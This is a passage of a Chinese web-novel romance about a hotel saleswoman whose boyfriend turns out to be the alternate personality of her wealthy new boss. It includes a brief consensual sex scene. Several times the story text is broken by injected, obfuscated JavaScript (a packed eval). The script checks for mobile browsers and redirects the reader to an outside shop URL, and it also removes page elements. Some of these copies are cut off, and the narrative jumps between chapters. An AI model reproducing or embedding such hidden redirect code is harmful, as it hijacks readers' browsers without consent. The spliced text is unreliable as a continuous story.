夏延又吃了什么乱七八糟的东西? . 傍晚,盛家老宅热闹非凡。 今天是一月一度,众人聚在一起陪老爷子吃晚饭的日子。 下午六点,盛家老宅的雕花铁门被打开,一辆宾利缓缓驶入。 暮色四合,半山腰偌大的房子在夕阳之下矗立,庞大、沉默,带着不容置疑的威严。 车子很快停在大门口,盛亭深下车,站定。 正厅的门正敞着,里头的侍者看到他,立刻走出来,微微躬身,将他手臂上的外套接过。 “人都到了?”他淡淡问道。 侍者答复:“是的四少,都已经到了。” 盛亭深径直走了进去。 “还给我,你还给我啊,这是表姐送我的好吧!” 盛亭深刚拐过一个弯,迎面就被一人撞上,他垂眸冷冷看了眼。只见撞人的女孩眸色一抖,瞬间站直了,“四,四哥……” 盛亭深微微颔首,没说什么,径直离开。 盛思沅狠狠地松了一口气。 “瞧你吓得,话都说不溜了啊。”方才追着她的男生凑过来,“这么怕他干嘛。” 盛思沅瞪了他一眼:“你不怕刚才怎么也不吭声?等他走了才说风凉话啊。” 男生是面色尴尬,但死不承认:“我哪有,我是懒得理他好吧。” 盛思沅轻哼:“你就嘴硬吧。” 确实是嘴硬,盛家的小孩就没几个不怵盛亭深的。 他是他们这辈能力最强,但也最不近人情的一个。触及利益,就算有血缘关系,他也一样收拾你。 盛思沅很怕这个堂哥,但怕中又有一丝丝的遗憾。 她比盛亭深小三岁,印象中很小的时候,还跟在他屁股后面玩,记得那会……他还挺疼她的呢。 可后来她跟着爸妈出国了,再回来时,就发现四哥跟以前不一样了。 . 十多分钟后,晚饭开始。 老爷子盛敬泉有三子一女,皆已结婚生子,今日家宴,儿孙们聚齐,看起来其乐融融。 但也只是看起来,明争暗斗在偌大的家庭里并不新鲜。 不过在老爷子面前,众人还是收敛着的。 “亭深,酒店业务你已经全权接手了吧。” 盛亭深是孙子辈里最突出的一个,老爷子虽不喜他的父亲,但对他很重视。 盛亭深淡淡道:“是的爷爷。” “那就好。”盛敬泉道,“我也老了,以后要靠你们把盛家扛起来。严锋、严齐,你们两个作为哥哥更是要树立榜样,好好做事。” 盛严锋和盛严齐都是大伯的儿子,闻言正色:“好的,我们知道。” “别光会说,我要看到你们的成绩。” “是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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唐雪秋一愣,脸色大变:“别把这话挂在嘴上!你没有精神病!” 盛亭深和夏延共同存在这件事,唐雪秋和她丈夫是在他十岁的时候发现的。但他们并不愿意接受自己儿子是个有双重人格的异类,对外界一直瞒得很好。 “亭深,不会被发现的。”唐雪秋说话前后矛盾,看起来更像个精神病,她急切道,“联姻而已,你把她娶回来,不住在一块不就好了。” 盛亭深哦了一声,“你的意思是,我要跟你们一样,走个婚姻的仪式然后各玩各的。我玩其他女人,她玩其他男人。是吗?” 不等唐雪秋回答,盛亭深就慢悠悠道:“还是不了吧,我实在是……嫌恶心。” 啪啦—— 一旁木架上的花瓶被猛得扫落在地,瓷器破裂,碎片、花瓣、清水瞬间洒落一地。 唐雪秋手心发麻,气得五官扭曲,方才演出来的温柔尽数破碎,“盛亭深,你有资格说谁恶心?!你最恶心!” 盛亭深笑了,“是啊,被恶心的人生出来,当然也恶心了。” “哈哈,哈哈哈。”唐雪秋后退了两步,厌恶地看着他,“行,随便你!你爱结婚不结婚!反正你这样的怪胎,压根就没人敢靠近你!” . 夜深了。 宾利从老宅开了出来,司机老陈从后视镜里看了眼,只觉今夜的后座实在阴郁。 他没敢多看,转向路尽头无边的黑暗。 车子最后停回了九州华庭,盛亭深回屋时,爷爷盛敬泉给他发来了消息,将钟家小孙女的微信推给他。 盛亭深回复了句好,但压根没有加。 浴室淋浴声淅淅沥沥响起,就在这时,上午被盛亭深随手放在床上的白色手机亮了起来。 纾也—— 【你在吗你在吗?在干嘛呀】 【我有点想你了:D】 【想抱抱~】 9. 第九章 夏延没有回复。 不过季纾也并不介意,虽然睡前有点馋他,但她今天忙了一天也好累,倒头就能睡。 睡梦里什么都有。 季纾也在虚幻中和夏延贴贴抱抱,甜蜜得很。 但她没想到现实也一样甜蜜,第二天一早起来,就发现客厅里多了一束花。 花上的卡片是夏延的手写字,他说自己临时出差去了,祝她今天能过得开心。 “刚才我开门看到这么一大束花怼脸上,吓死。欸,是那个一见钟情对象送给你的?”程薇从卫生间出来,暧昧地眨眨眼。 季纾也没隐瞒,点头。 “真不错!这花可不便宜!追你还是肯花钱的嘛。” 季纾也轻咳了声:“实际上,我跟他已经在一起了。” “哈?!什么时候的事!” “就……就上周五晚上,他来找我。” “找你表白了!” 季纾也有点脸红:“唔……其实最开始是我跟他表的白。” “可以啊你,真看不出来你这么敢。” “我也不知道我怎么敢的,就是觉得,难得遇到一个各方面都很合我口味的男生,我应该抓住。” “说的对,这年头遇到个正常的男人太难了。”程薇好奇道,“对了,他干嘛的?帅我是知道了,经济条件怎么样?” “他的工作是地质探测方面的。条件嘛……工资我没问过,但应该还可以吧。” “开什么车啊?有房没?” 说起这个,季纾也有点小苦恼。 “他的车大概三十多万,所以一开始来接我的时候我以为他就是条件还可以,但是我没想到他住的地方那么大……上周末因为狗狗我去了他家,他家小区在这。” 季纾也打开地图给程薇看,程薇蓦地睁大了眼睛:“玫瑰园?这一套房没个四、五千万可下不来啊。” “所以我反应过来后也有压力,他好像是个有钱家的小孩。” “你是在烦恼吗?这种好事你烦啥!又帅又有钱的男人,谈就完了,干嘛有压力?哦~你难道是已经在想着以后结婚啦。” 季纾也窘迫摇头:“没没没,才刚在一起呢,怎么可能想那么远。” “是啊。”程薇了然地拍了拍她的肩,“不用想那么远,能谈到有钱又帅又很正常的男人,已经赚了。” 季纾也想想也是,她从小到大桃花运都很差,好不容易能谈个正常的恋爱,想那么多干嘛。 只要享受当下即可,毕竟跟夏延在一起的时光,每分每秒都很甜蜜。 上班时间快到了,季纾也把鲜花放在一旁,打算晚上回来再处理。 接下来几天,他们部门很忙碌,因为要筹备两个大公司的酒会。 因此天天加班,除了吃饭时间,季纾也都腾不出时间跟夏延聊天。 不过夏延好像去的是信号不好的地方,他没有主动给她发消息,只偶尔在她给他发自己的午饭、晚饭时,他会简单回应几个字。 不过这种情况他都提前跟她讲过了,她完全不在意。 之后两个月里,他们基本上是一周见一次。 游乐场,电影院,烛光晚餐,逛花市,江边遛狗…… 季纾也觉得和夏延在一起的那一、两天,是她忙碌工作中最大的期待。 可能因为太甜蜜,她身边的人都觉得她状态不一样了。 陈慧和邹小岚说她春风满面,被爱情滋润得透透的。 这天,她从酒店回家后,收到夏延的消息,他说已经从外地回来,明天想来找她。 季纾也明天有很多事要做,但他好不容易有空,她肯定也要腾出时间的,于是回复:【明晚可能会加班~不过我尽量提早溜!】 【恩,那我等你吃晚饭】 【好呀】 夏延:【很想你】 季纾也一天的疲惫都消失了,哧哧地笑了两声:【明天要抱抱】 停顿了几秒,又发了句:【也要亲亲】 . 也不知是不是老天爷知道她今天有约会,杨姐竟然临到下班点说最近大家加班太多,可以准时下班回家。 众人欢呼,季纾也更是开心得要蹦起来,刚到点就冲去换衣间换衣服、补妆,把自己身上的班味去除后,往酒店对面那家咖啡亭走,夏延在那里等她。 “我都说了可能会加班,你怎么还是这么早就来了。”见到人后,她嗔怪着,但更多是欣喜,目不转睛地看着他。 “想着你万一早点下班,就可以早点见到你。你看,赌对了。” “这算你运气好。” 夏延眼里的热切与她相似,两人说完对视一笑,很自然地牵起了手,前往停车点。 到车旁后,夏延给她开了车门。 季纾也兴致勃勃地要坐进去,却突然发现座椅上放了一个黑色的礼袋,还有一束鲜艳的玫瑰花。 她惊讶地回头看夏延,后者轻笑说:“导购说年轻的女孩子会喜欢这款包,你看看喜不喜欢。” 都不用看里面是什么包,瞄到黑色山茶花礼袋那刻,她就知道这是个价值不菲的礼物。 这两个月来,他已经多次给她买昂贵的东西了。 说实话她长到现在这个年纪,还是第一次碰这些奢侈品。 “夏延,我都跟你说过了,不要再买这些贵的东西给我。” 夏延:“我是你男朋友,给你买任何礼物都是应该的。” “但,但我其实会有点压力。”之前季纾也不太好意思说,但现在是不得不说了,“在这方面……我没办法回馈给你一样的东西。” 季纾也说完是有点小羞愧的,可她必须实话实说,不然以后硬着头皮买这些奢侈品回赠,她根本负担不过来。 “我没有要你回馈我一样的东西,我只要你在我身边,其他什么都不要。”夏延轻掐了下她的脸蛋,“纾也,我是认真的,我只要你。” “可是……” “好了,肚子饿了吧,先上车。”夏延认真道,“不过东西你要用,不然我会难过的。” 夏延在这方面很强势,季纾也也只好作罢。 之后,两人来到了一家日料店,特别好吃。 一整餐下来季纾也眼里的惊艳就没停过,她坦言自己从没吃过这么好吃的日料。 夏延看着她眼底明媚的笑意,眉目更是温柔,只想着,下次一定要带她吃更好吃的东西, 吃完饭天已经有些黑了,季纾也说想去看看幸运,这几天太忙,虽然夏延早早就给了她他家的密码,但她没空过去。 于是两人驱车回了玫瑰园。 幸运被照顾得很好,这段时间以来胖了许多,再也没有往日在路边瑟瑟发抖的可怜劲。 “阿姨不在家吗?” “恩,我回来的时候会提前告诉她,她会回去休息。” “噢。”季纾也把幸运抱在怀里,“好乖啊,有没有想我呀?” 幸运在她怀里汪汪叫了两声,很享受她的摸摸头。 夏延:“给幸运买了几件衣服,要不要看看?” “哇!好啊。” 夏延把狗狗服拿过来,坐在地板上,帮幸运穿。 季纾也就坐在一旁看着。 他很有耐心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283704|198386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也很温柔,小心翼翼地帮狗狗穿好,又笑看着它满屋子跑。 喜欢小动物的男孩子在季纾也心里特别加分,她忍不住倾身上前亲了口他的脸颊,在他回头时笑意盈盈道:“夏延,你真好。” 夏延笑意微敛,抿了抿唇,突然道:“其实我没你想象的那么好。” “你有,你就是超级无敌好,我能感觉到。”季纾也并未察觉他神色的微微变化,起身说,“我口渴,去喝口水。” 她走到餐边柜倒水喝,夏延则跟着她一起,亦步亦趋。 等她喝完后回过头,刚想问问他干嘛走这么近时,他突然俯身吻了过来。 季纾也愣了愣,踮脚回应,两人很快就亲成了一团。 “训练”过这么些日子后,他们已经很知道怎么样更亲密地接吻了,勾缠、抚摸,他们气喘吁吁,倒在了沙发上。 刚谈恋爱的人对摸索对方的身体总有无限兴趣,季纾也边亲边抚他的腰,再偷偷摸摸地往前探。 他的腰腹很硬,衣服下藏着猛猛的荷尔蒙,让人脸红心跳。 “别这样摸。”低哑的声音传来。 季纾也迷迷糊糊地抬眸看他,只见夏延耳朵通红。 “纾也,你这样,我……” 他话不用说完季纾也也知道是什么意思,因为她此时正被顶着,坚硬,存在感觉巨大,无法忽视。 她心惊胆颤,可又实在忍不住逗他:“你能不能消消火呀……” 他们之前好几次亲亲他都这样。他以为自己藏的很好,其实她早发现了,只是没有说而已。 夏延无奈道:“亲着你,我没办法。” 季纾也又满足又羞涩:“噢……那怎么办。” “先别亲了,好吗。” 他说着就要起身,季纾也瞪圆了眼睛,一下就揽着他的脖子把人拉下来,瓮声瓮气道:“不行,没亲够。” 夏延轻喘了口气,克制着说:“但这样,我会忍不住。” 季纾也把脸埋在他颈窝,小声说:“我知道啊,因为我也有点忍不住。” “恩?” “所以你说怎么办……” 没真跟男孩子上过床,但做为一个二十五岁的女人,她对情欲并不陌生,她也偷偷摸摸看过片,也尝试自己摸索过。 她好奇真正情爱是什么滋味,所以和喜欢的人缠绵时,自然想到了那一层,且一点不排斥。 夏延浑身紧绷,话音已然克制不住:“可以吗。” 季纾也在他脖子上轻咬了一口,脸红透了:“我不都暗示了嘛!” “但是……没有套。” “外卖呀,笨蛋。” 这天晚上,季纾也没有回家。 两个对这事都陌生的人,摸索着前行。 夏延很温柔,做这事也很温柔。 但她还是承受不了,行动艰难,眼泪流了一枕头。 只能草草结束了初次。 夜深了,夏延抱着哭累了的季纾也躺在被窝里,轻轻地抚摸她的头。 他第一次跟他的女朋友一起过夜,虽然知道按照规律那个人现在是不会回来的,但他还是有点担心。 “唔……好困了,睡吧夏延。” 夏延下巴抵在她额头上:“还痛吗?对不起……” 季纾也在他身上蹭了蹭:“没关系呀,我知道的,第一次都会这样。” 她好乖。 夏延心潮汹涌,掩去了眼底的一丝忧愁,轻声说:“纾也,你别离开我。” “恩?你突然胡说些什么呢……” “没。反正,不管怎么样,你别离开我。” 10. 第十章 第二天一早上,夏延开车送季纾也去斯卡顿酒店。 临下车了,两人还在车里依依不舍,最后实在是时间赶不及,夏延才放她离开。 季纾也匆匆跑向换衣间,因为昨晚是临时决定住在夏延家,没带化妆品,这会也只能用这边的备用粉饼和眼影简单上个妆。 “这是哪款包啊?”就在这时,陈慧进来了,她眼睛尖,立刻看到季纾也柜子里的防尘袋。 那是昨晚夏延送她的包包,为不辜负他,她早上在他眼皮子底下背了,但进酒店后就默默收了起来,装进防尘袋里。 邹小岚闻言也凑了过来,“看看看看。” 眼见两人目光炯炯的样子,季纾也不得不拿出来。 “哇塞,链接给我!这做的好像!”陈慧说。 邹小岚以前做过一段时间二奢店店员,沉思了会道:“这看起来不像假的,纾也,这是正品吧。” 季纾也点头。 她知道夏延不可能送假的。 邹小岚:“哇,那你是真舍得,这支专柜都得八万多了。” 季纾也心惊:“我哪里舍得……” 陈慧摸都不敢摸了,“那是不是男朋友送的?!” 季纾也默认。 陈慧一脸羡慕:“老天,能不能也让我遇到这种大方的霸道总裁啊!” 季纾也有些不好意思道:“不是什么霸道总裁,他也是上班族。” “是吗?那也很好啊!普通职员竟然愿意花大价钱送你这么贵的包欸!他爱死你了好吧!” 同事反应太夸张,季纾也决定再也不把这些昂贵的包背出来,将它们一律放进柜子里。 不过,夏延的心意她是收到了。 说实话,她其实也享受这种被喜欢着,被惦念着的感觉。所以只要想起夏延这个人,她嘴边的笑意都落不下来。 中午吃饭时间,夏延给她打来了电话,问她还有没有哪里难受。 季纾也知道他说的是哪方面,差点在同事面前闹个大脸红,跑到小角落了才说道:“还好……现在只有一点点而已。” “需要上点药吗,我给你送过去。” “不用不用!缓缓就好了。” 夏延显然很愧疚:“下次我一定更小心。” “你现在就已经在想下次了啊。” “……你不想的话,也可以不。” 季纾也哼了声:“笨蛋,我又没说不想。” “那你——” “再好好练习一下就好啦。”季纾也轻笑说,“你不是最会练习了。” . 跟喜欢的人,亲密就会变成一件极度愉悦的事。 后来两周里,两人摸索着,一次次,逐渐从生疏到熟悉。 某天结束的时候,夏延抱着季纾也去浴室沐浴。两人坐在浴缸里,她靠着他,享受着热水和怀抱的温暖。 “纾也,有件事我需要跟你说一下。”夏延突然道。 “什么?” “我明天要去出差,这次会去比较远的地方,大概一个月不能回来。” 季纾也睁开眼睛,回头看他:“这么突然……” “抱歉。” “好久哦,去哪里啊?” “菱洲那边的山里。” “好吧,那我就要一个月见不到你了。” 夏延说:“对不起啊。” “哎呀,别又是抱歉又是对不起的。”季纾也在他下巴上蹭了蹭,“工作原因,我能理解啦。” 夏延恩了声,抱紧她,没有再说什么。 这次是真要出差,盛华海外有个项目需要去做,盛亭深的助理严为明在他醒来的时候便已经告知,明天的机票。 以前这种情况也经常发生,夏延很习惯,但这次他舍不得走,因为有季纾也在这里,他有了牵绊。 “回来后给你带礼物。” “啊?山里能带什么,不会给我挖出一个大钻石吧!” 夏延认真问:“你喜欢钻石?” “当然是开玩笑的了!你不要给我买礼物。”季纾也说,“你早点回来就好了。” 夏延看着她眼底亮晶晶的闪动,心软得一塌糊涂,他俯下头亲亲她的脸,温声道:“我一定早点回来,等我。” “恩。” 夏延出差后,季纾也继续投入忙碌的工作当中。 休息时,她会给夏延发一些消息,他有时会很快回,有时候过很久很久才回复一两个字。一切都跟他们以前分开的时候一样。 直到第四周开始,季纾也连续一周没有收到夏延的消息,打了电话,也是关机状态。 她开始紧张起来,因为自他们在一起之后,从来没有这么久没联系过。 她猜测他是不是出了什么事,或者,在山里把手机掉了? . 季纾也猜测的没有错。 时间拨回到一周前,夏延的手机确实遗失在纽约某间咖啡店里。 那天手机遗失后,夏延立刻喊来了严为明,让他尽量找回他的手机,如果找不回的话,帮他重新购买新手机和电话卡。 严为明表示立刻会吩咐人去办,谁想到刚转身就有电话进来,是项目上的事情,需要他们即可飞往洛杉矶。 盛亭深正好不在,严为明便告知夏延。 所有项目上的事夏延都是清楚的,虽然他不喜欢这些,但他无论如何也是盛家人,他必须维持着盛亭深的样子,去处理所有事情。 当然,严为明会辅助。没人比他更知道盛亭深的想法。 “夏先生,刚才项目部的人打来电话,事情有变,我们需要现在去往洛杉矶,您看我们什么时候——” “先把我手机的事弄好。”夏延皱着眉头说。 严为明甚少看到他不高兴的样子,顿了顿,说了声是,转头出了房间门。 但买完新手机回来的时候,开门的人已经是盛亭深。 于是严为明把东西放在桌上,对他说了项目那边的事。 “严为明,你不知道轻重缓急?”盛亭深眼眸深沉,显然不满。 严为明低头:“抱歉盛总,因为夏先生丢了手机的时候特别着急,我想他一定是有什么急事需要尽快拿到手机,所以我先去办了。” “他能有什么急事。”盛亭深不以为意,“你马上安排洛杉矶的行程。” “是……” 手机有了,但不巧的是,夏延和盛亭深这次很久没有换回。 这并不是常见的情况,但以往也发生过,而且每每发生过这么一次异常后,他们之间原先变换的节奏就会打乱,并需要一段时间才会出现一个新的规律。 更更不巧的是,夏延一直登入在蒋昀平板上的微信,因为平板一次没电跳了出去。 隔天蒋昀立刻联系夏延,想重新登入微信,但这次,夏延很久没有回复。 各种巧合在短短一段时间里交杂在一起,夏延不知道,季纾也也不知道。 . 几天联系不到男朋友算是在正常范围内? 程薇说,如果有男友的话,必须每天联系。 季纾也也这么觉得,可以不经常见面,但每天联系,说个早午安是应该的。 可现在已经一个半月过去了。 原本说好一个月就能回来的人,迟迟没有出现,且丝毫没有回音。 “纾也,他……会不会是个骗子啊?”程薇从房间出来,看到发现季纾也坐在客厅里魂不守舍的,实在是憋不住了,试探地问道。 季纾也喃喃,“不会,他不会是骗子。” “那怎么能这么久没消息,就算手机丢了,用别人的联系一下,或者再买一个手机不就行了吗。” “那可不一定,他们是去探测深山野林呢,里面哪里买得到手机。而且,他可能也没记住我的电话号码。” “可怎么能这么久呢,他不怕你担心啊,正常的话都要想办法联系你吧。” 季纾也起身:“所以啊,他会不会出意外了?程薇,你说会不会啊?” 眼见季纾也紧张起来,程薇皱着眉头道:“你先冷静,不然你再去他工作的地方看看?” “上午去过了,门还是锁着的。他们就是个小公司,估计这次所有人都去野外工作了。” “那你认识他家人吗?或者朋友?” “朋友倒是认识一个,月下酒吧的老板。可那老板说他也联系不上夏延,不过他让我不用担心,说出事的话他家里人会知道的。”季纾也道,“至于他家人……他是一个人住的。我去问物业了解过情况,物业说……业主不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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所以酒店包括销售部在内的所有部门,今早都开了部门会,为下午做最后的准备。 “今天餐厅部的人忙疯了,他们探听到盛总对饮食要求特别高,生怕他挑出毛病。” 会议之后,同事们往办公区走,笑声交谈。 “客房部的人也是啊,所有总统套间都一尘不染,干净得不能再干净。” “听说盛总有洁癖,做事雷厉风行十分严苛!我靠,有点害怕了。” 陈慧:“真的么,可是他很帅欸,上次酒会看到一回,难以忘怀啊!” 邹小岚瞥她一眼:“帅并不影响他把你炒了。” “把我炒了?那说明我还引起他注意了,我也太牛了吧。”陈慧玩笑过后,用手肘推了推季纾也,“上次你没看清楚,今天有机会了,真的很帅!” 说完看季纾也没什么反应:“干嘛,有了男朋友就对帅哥不感兴趣啦?我告诉你,你男朋友肯定没盛总帅。” 季纾也不想提起夏延,转移了话题:“杨姐还有事让我做,我先过去一下啊。” “啊?那你快去。” 下午两点,除了部分服务人员外,其他人都到了大会议厅。 季纾也和陈慧等人坐在角落的位置,她心神不宁,脑袋微垂,只盯着手机看。 不久后,门口方向走进来了一群人,西装革履,脸上或热情或谄媚,皆簇拥着为首的那人。 陈慧轻吸了口气,小声道:“来了来了!我家盛总来了!纾也,快看啊。” 季纾也对领导层没兴趣,对帅哥就更没有了。 她只觉得开这种会也是一种休息,能在繁忙间隙里摸摸鱼。 “噢……知道啦。” “哎呀你别看手机,快点看,最前面那个,深色西装的!” 陈慧不停地念叨,季纾也没办法,只好往前瞥了一眼。 她们坐的位置靠后,但季纾也视力不错,完全能看清从门口进来的人。 人群中最前头的那一个穿着一身极有质感的深色西装,身姿挺拔,宽肩窄腰,身型格外优越。 在聚光灯之下,所有人都在看着他,但他却仿若无人,或者说他早就适应了这种万众瞩目的场合。俊朗的眉眼淡定冷漠,浑身散发着一种强大的气场,让人不敢长时间直视。 如陈慧所说,他真的长得很好看。 可是,可是—— 季纾也倏地从椅子上站起来。 那个人,为什么会是夏延?! 11. 第十一章 万众瞩目的男人在簇拥下坐在第一排,他背对着她了。 但季纾也知道自己绝对没看错,也不是产生什么幻觉。 虽然整体的气质和穿扮都不一样了,可那张脸一模一样! 原来酒店忙碌了那么久,紧张了那么久迎接来的新老板,就是夏延。 所以他一直以来都在骗她是吗。 他根本不叫夏延,他叫盛亭深。 为什么呢? 什么要骗她? 难道是怕她知道了他高高在上的身份就缠上他?对……很有可能。 他知道她在斯卡顿工作,也知道自己马上就要成为这里的老板,到时候就伪装不下去了。所以直接跟她断开联系,撇除关系。 可是……真的没必要啊。 季纾也心中又是气愤又是酸楚,他明明可是直接告诉她,他直说分开,她会接受的。 为什么要让她担惊受怕这么久呢? “你干嘛呀?知道很帅,但你也别太激动。”陈慧把突然站起来的季纾也拉下来,“我觉得老板都可以直接当斯卡顿代言人了哈哈哈,噢,可惜他不喜欢出境……” 陈慧在她耳边碎碎念着,但季纾也完全听不进去,一场会议下来,她满脑子都是夏延就是盛亭深,夏延骗了她,夏延是混蛋! 会议不算长,结束后,众人各归各位,只有领导层陪着盛亭深对酒店进行审查。 据说这几天他们的新老板会住在斯卡顿的总统套房,餐厅部和客房部都严阵以待。 季纾也跟着陈慧他们往办公室走,走着走着,突然停住了脚步。 “我肚子疼,去一下卫生间。” 陈慧:“啊?没事吧?” “没事。” 季纾也跑得很快,她要疯了,她必须立刻马上见到夏延! 现在要知道夏延在哪里也很简单,随便问一个前厅部的同事就行。打听到他正和一群领导层去西餐厅,她立刻跑了近路。 等到了西餐厅前那条长廊时,她停了下来,远远看到他和酒店领导层走近。 平日里她所看到的领导们这会正卑躬屈膝对他讲话,而他,她心中温柔和善的男朋友,面容清冷,一点笑意都没有,高高在上到难以接近。 越来越近,越来越近了,也许是她站的位置过于突兀,在距离她两、三米的时候,他的眸子扫了过来。 视线突然停了两秒。 在那两秒钟里,季纾也感觉自己心脏也跟着停了,她想喊住他,质问他,为什么要这么对她。可是下一秒,她就看到他好像完全不认识她一样,平静地转开了视线。 “你哪个部门的,站在这发呆,领导来了不知道鞠躬?”人群走过,末尾的一个总监皱着眉头训斥了一句。 季纾也紧握着的手在微微发抖,低声说了句抱歉。 总监横了她一眼,懒得多耽误时间,跟上了那群人。 . 他为什么变得像另一个人? 他不认识她了? 不,是他装的太好了。也许,这才是他。 下班回到家后,季纾也在房间里狠狠哭了一场,她难以接受过去这一段时间的甜蜜都是假的。 而程薇也已经听她说过今天的事了,惊讶到不知说什么好,默默在一旁抽纸给她。 “纾也,别难过了。这些有钱人真的很坏,就会骗小姑娘的感情。” 季纾也:“我不甘心……凭什么……” 程薇以过来人的心态安抚道:“如果是一般人我其实是支持你当面对质的,但是……他竟然是你们的大老板,而且还是盛华集团的大少爷,那我觉得为了工作考虑,你别……硬碰硬。” 季纾也顿了顿,擦干眼泪。 她自然明白这个道理,他那样位置的人,捏死她跟捏死一只蚂蚁一样容易,这也是下午她在走廊上没有直接开口的原因。 “所以,你觉得我就该这么算了?” 程薇叹了口气:“如果你想保住你的工作的话。” “……” 几乎一夜未眠。 第二天,季纾也多上了一层遮瑕,这才把眼底浮出来的那层青黑遮掩过去。 她想了一夜,决定算了。 既然爱情已经失去,那工作得好好留住,不能为了男人不顾工作!毕竟这份工作对她而言真的很重要。 于是这一天,她照常投入到杨潼派发给她的任务里,在外面跑了几个酒会的客户,忙得一整天连水都来不及喝几口。 等她处理完所有的事情回到酒店时,天已经黑了,她累得不行,站在电梯前等电梯,心想晚上一定要给自己点一份豪华外卖! “盛总,中餐厅那边说已经准备好了,现在要过去吗。” “恩。” 突然,旁边传来了两人的对话声。 季纾也几乎是下意识侧眸,等看到站在自己旁边的人后,瞬间僵在了原地,喉咙就像被堵住了什么似的,发不出声来。 电梯叮的一声到达楼层,季纾也看着他和他的助理走了进去,面向她。 他面色淡淡,目光微垂,有几分漫不经心。大概是看到她站在那里直勾勾地盯着他,眉头轻皱了下,眼底竟有几分不满。 而这短暂的一点不满,狠狠地刺痛了她的眼睛。 之前,他从来不会这样看她。 电梯门缓缓移动,就在它即将完全合上的时候,一只手猛地挡在了中间! 什么算了吧,什么为了工作考虑?! 为什么,凭什么!他明明就是自己的男朋友啊! 季纾也脑子发胀,昨晚自我安慰的那些话都被自己推翻了。 她见着他,就完全顾不了了! 电梯里的两人也都看向了拦门的季纾也。 严为明有几分惊讶,因为这个酒店员工他昨天就见过,在他们去往餐厅的走廊上。 当时他觉得她的神色有些不对,多看了一眼。没想到,今天又遇上她了。 严为明看了眼她的工牌,有点为她担心。 “你是要进来吗?”他问道。 却没想到外面的女生完全没有理会他,而是直勾勾地盯着他家老板。 严为明眉头轻皱,正想上前拦住她的目光时,突闻她开口: “夏延。” 严为明一惊,寒毛几乎瞬间立起,他快速看了眼身旁的盛亭深。 后者似乎也诧异了瞬,终于正眼看向眼前的女人。 女人在他们的目光中走进电梯。 叮的一声,门关上了,轿厢里安静得空气都快停止流动。 “你叫我什么?”盛亭深面无表情,看着她。 季纾也脑子都快炸了,完全顾不得那么多,眼睛发红,攥住了他的手臂:“夏延,你到底什么意思。” 盛亭深眼皮一跳,“你认错人了。” “认错人?”季纾也被气笑了,“果然啊,果然你想假装不认识我。其实你真的没必要这样,如果你要分手直接说好了,我会同意。” “分手?”盛亭深眸光骤沉,“你和他什么关系?” 季纾也见他这么问自己,难堪极了,脱口而出:“你说什么关系,我们亲过抱过也睡过!难道你想说只是P友吗?” “……” 严为明深吸了一口气,都不敢看盛亭深的眼神了。 如果眼神能杀人,那他在旁边也是被无辜地凌迟了几百遍…… “我说,你认错人了。”沉默片刻后,盛亭深僵硬地挥开她的手,重复了这句话。 季纾也咬唇:“混蛋……好,既然如此那我告诉你,我们分手了!彻底地分手!就当我们从没认识过!” 电梯已经到达目标楼层,季纾也在电梯门打开时就要冲出去。 “站住。” 身后突然传来极冷的声音,像寒冰一样一下子把她裹紧。 季纾也下意识觉得恐惧,可她又觉得自己这恐惧没由头,没好气道:“干什么。” “一个小时后,到7188来。” 他说完后看都没看她一眼,径直从她旁边走过。 季纾也愣了愣,7188……全酒店的工作人员都知道,那是他们的大老板这几天住的房间。 . 被这样无视、欺骗后,季纾也认为自己说完分手就该永远不理会他! 可纠结了一个小时后,她还是没忍住,站在了7188门前。 算了,反正都要分手了,就当听他最后一个解释。虽然这解释她肯定不接受! 叮咚。 季纾也按下了门铃。 很快,那个助理过来给她开了门:“季小姐,请进。” 季纾也抿了抿唇,走进去。 斯卡顿的总统套房她很熟悉,做为销售,她为之写过策划案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“他随母姓,但因为家里某些原因,外界并不知道我有个双胞胎弟弟。所以季小姐,麻烦你出去后守住这个秘密,不要跟任何人提起你的男朋友是我弟弟。” “……” “听明白了吗。” “……他没告诉过我。” 盛亭深冷笑一声:“他当然不会告诉你。他也没告诉我,他竟然有个女朋友。” 季纾也张了张嘴,说不出话来,她此刻才终于明白自己方才没由来的恐惧是什么。原来眼前的人根本不是她的男朋友,而是一个陌生人,且还是她的老板! “记住我说的话。你可以出去了。” 这话一出,严为明很快上前来,“季小姐,这边请。” 季纾也失神,跟着严为明走的时候完全是懵的,临到房门口才突然想起什么,猛地回身:“盛……盛总!我已经很久没有联系上夏延,你既然是他哥哥,那你知道他怎么了吗。” 盛亭深冷冷道:“没死。” “可是……” “季小姐。”严为明阻拦。 季纾也看向他,面色焦虑,“我真的担心他。” 严为明叹了口气,坚持送她出去,等送出门了才道:“夏先生可能是工作原因没了信号,也可能是掉了手机,你……应该知道他的工作性质吧?” 季纾也:“他说他经常会在很偏远的地方作业。” “对。”严为明微笑道,“所以他在那种地方要是丢了手机,会很难办的。工作原因,又不能掉队回来。” . 回到换衣间后,季纾也原地站了好几分钟,等缓缓理清思路,深吸了一大口气。 所以她一直都认错人了。 所以她对着她的大老板大发脾气了! 所以她还说了一些很奇怪的话!! “混蛋!” “我们亲过抱过也做过!难道你想说只是P友吗?” 靠!靠靠靠!! 她竟然对着老板说了这种话,也太羞耻了!!!! 为什么夏延不早点说他有个双胞胎哥哥?! 季纾也完全崩溃了。 